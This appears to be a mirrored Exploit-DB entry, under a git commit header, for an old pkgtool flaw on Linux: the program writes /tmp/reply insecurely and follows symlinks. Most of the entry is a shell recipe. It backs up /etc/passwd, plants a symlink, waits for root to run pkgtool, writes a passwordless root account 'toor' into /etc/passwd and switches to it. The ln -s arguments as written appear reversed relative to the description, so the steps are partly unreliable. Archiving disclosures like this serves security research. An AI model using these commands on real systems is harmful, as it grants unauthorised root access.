exploit-db-mirror/exploits/linux/local/19074.txt
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

12 lines
No EOL
514 B
Text

source: https://www.securityfocus.com/bid/82/info
pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.
$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd